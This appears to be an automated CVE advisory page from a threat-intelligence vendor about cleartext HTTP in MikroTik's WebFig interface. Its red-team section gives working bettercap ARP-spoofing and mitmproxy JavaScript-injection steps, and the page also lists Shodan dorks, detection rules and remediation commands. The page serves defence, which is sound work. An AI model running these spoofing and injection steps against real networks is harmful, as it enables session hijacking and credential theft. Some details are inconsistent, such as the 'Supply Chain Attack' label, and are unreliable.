☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-319
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-61481

CVE-2025-61481 Supply Chain Attack in Mikrotik
📅 PUBLISHED: 2025-10-27 00:00 UTC 🔄 UPDATED: 2026-08-24 19:43 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.04%
👁️
0.04% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-61481 exposes a critical design flaw in MikroTik RouterOS v.7.14.2 and SwOS v.2.18, where the WebFig management interface is served over cleartext HTTP by default. This allows an on-path attacker to perform a Man-in-the-Middle (MitM) attack, injecting malicious JavaScript into the administrator’s browser session. The injected script can then intercept credentials, session tokens, and potentially execute further administrative actions. The vulnerability is unpatched at the time of analysis, and the CVSS score of 0.0 is likely a placeholder or error, as the actual risk is significant.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a software supply chain package (NPM, PyPI, etc.). It is a network-level configuration flaw in MikroTik’s embedded firmware.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, a realistic assessment based on the description yields:

  • Attack Vector (AV): Network (N) – exploitable remotely.
  • Attack Complexity (AC): Low (L) – requires only network access.
  • Privileges Required (PR): None (N) – no authentication needed to initiate the attack.
  • User Interaction (UI): Required (R) – the administrator must be actively using WebFig.
  • Scope (S): Unchanged (U) – the attacker cannot pivot to other systems via this flaw alone.
  • Confidentiality (C): High (H) – credentials and session data are exposed.
  • Integrity (I): Low (L) – injected JavaScript can modify page content or trigger actions.
  • Availability (A): None (N) – no direct impact on availability.

Adjusted CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Adjusted Score: 7.1 (High)

Deep Dive & Mechanics

The vulnerability stems from MikroTik’s default configuration, which serves the WebFig interface over HTTP (port 80) rather than HTTPS (port 443). This is a classic case of cleartext transmission of sensitive information (CWE-319).

Attack Flow:

  1. An attacker gains a Man-in-the-Middle position on the network (e.g., via ARP spoofing, rogue Wi-Fi, or compromised router).
  2. The administrator accesses the WebFig interface via http://<router-ip>.
  3. The attacker intercepts the HTTP response and injects a malicious JavaScript payload (e.g., a keylogger or session hijacker).
  4. The injected script runs in the administrator’s browser, capturing credentials, session cookies, or performing actions on the router.
  5. The attacker exfiltrates the stolen data via a separate channel (e.g., DNS, HTTP request to attacker-controlled server).

Why This Works:

  • HTTP traffic is unencrypted, allowing full visibility and modification.
  • WebFig is a single-page application (SPA) that handles authentication and configuration, making it a high-value target.
  • No HSTS or secure cookie flags are enforced by default.

Vulnerable vs. Patched Code

No patch is available. The vulnerable configuration is the default HTTP binding. A patched version would:

  • Disable HTTP by default.
  • Enforce HTTPS with a self-signed or user-provided certificate.
  • Redirect all HTTP traffic to HTTPS.

Vulnerable Configuration (default):

# RouterOS CLI
/ip service set webfig disabled=no port=80

Patched Configuration (manual workaround):

# Disable HTTP WebFig
/ip service set webfig disabled=yes
# Enable HTTPS WebFig
/ip service set webfig-ssl disabled=no port=443
# Optionally, redirect HTTP to HTTPS (requires additional scripting)

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Attacker machine with bettercap or mitmproxy.
  • Target network with a MikroTik router (v.7.14.2) and an administrator using WebFig.

Step-by-Step Exploit:

  1. ARP Spoofing (using bettercap):
    sudo bettercap -eval "set arp.spoof.targets <router-ip>,<admin-ip>; arp.spoof on"
    
  2. Intercept HTTP Traffic (using mitmproxy):
    mitmproxy --mode transparent --listen-port 8080
    
  3. Inject JavaScript Payload (mitmproxy script inject.py):
    from mitmproxy import http
    def response(flow: http.HTTPFlow) -> None:
        if "webfig" in flow.request.pretty_url:
            flow.response.content = flow.response.content.replace(
                b"</head>",
                b'<script>document.cookie="PHPSESSID=attacker_session";</script></head>'
            )
    
  4. Run mitmproxy with script:
    mitmproxy --mode transparent --listen-port 8080 -s inject.py
    
  5. Capture Credentials: The injected script can log keystrokes or send cookies to an attacker server.

Blue Team (Defense & Detection)

Detection Steps:

  • Monitor for ARP spoofing using arpwatch or IDS alerts.
  • Check for unexpected HTTP redirects or modified page content.
  • Use network traffic analysis to detect cleartext WebFig sessions.

Honeypot Setup:

  • Deploy a fake WebFig interface on a separate port to lure attackers.
  • Log all interactions for forensic analysis.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Cleartext HTTP traffic to port 80 on MikroTik routers.
    • Unexpected JavaScript in WebFig responses (e.g., eval() calls, XMLHttpRequest to external domains).
    • ARP cache entries with MAC addresses not matching the router’s vendor OUI.
  • Host IOCs (on the router):

    • Unusual processes or scripts running in the background.
    • Modified /flash/webfig/ files (if accessible).
    • Unexpected outbound connections from the router.
  • Log IOCs:

    • Repeated failed login attempts followed by a successful one (session hijacking).
    • WebFig access logs showing unusual user-agent strings.

Detection Engineering

YARA Rule

rule CVE_2025_61481_WebFig_HTTP_Injection {
    meta:
        description = "Detects injected JavaScript in MikroTik WebFig HTTP responses"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61481"
    strings:
        $injected_js = /<script[^>]*>.*?(document\.cookie|eval|XMLHttpRequest).*?<\/script>/ nocase
        $webfig_path = /\/webfig\// nocase
    condition:
        $webfig_path and $injected_js
}

Sigma Rule

title: Cleartext WebFig Access Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP access to MikroTik WebFig interface (cleartext)
author: Valters IT
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 80
        http.host: "*"
        http.url: "/webfig*"
    condition: selection
falsepositives:
    - Legitimate HTTP access if HTTPS is not enforced
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET 80 (msg:"CVE-2025-61481 - Cleartext WebFig Access"; flow:to_server,established; content:"/webfig"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable HTTP WebFig:
    /ip service set webfig disabled=yes
    
  2. Enable HTTPS WebFig:
    /ip service set webfig-ssl disabled=no port=443
    
  3. Generate a self-signed certificate (or import a trusted one):
    /certificate create name=webfig-ssl common-name=<router-ip> days=3650 key-size=2048
    /ip service set webfig-ssl certificate=webfig-ssl
    
  4. Enforce HTTPS via firewall rules:
    /ip firewall filter add chain=input protocol=tcp dst-port=80 action=drop
    

Long-Term Fix:

  • Monitor MikroTik’s official channels for a firmware patch.
  • Implement network segmentation to isolate management interfaces.
  • Use VPN or SSH tunneling for remote administration.

Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"MikroTik RouterOS"
http.title:"SwOS"
http.html:"WebFig"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-61481/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.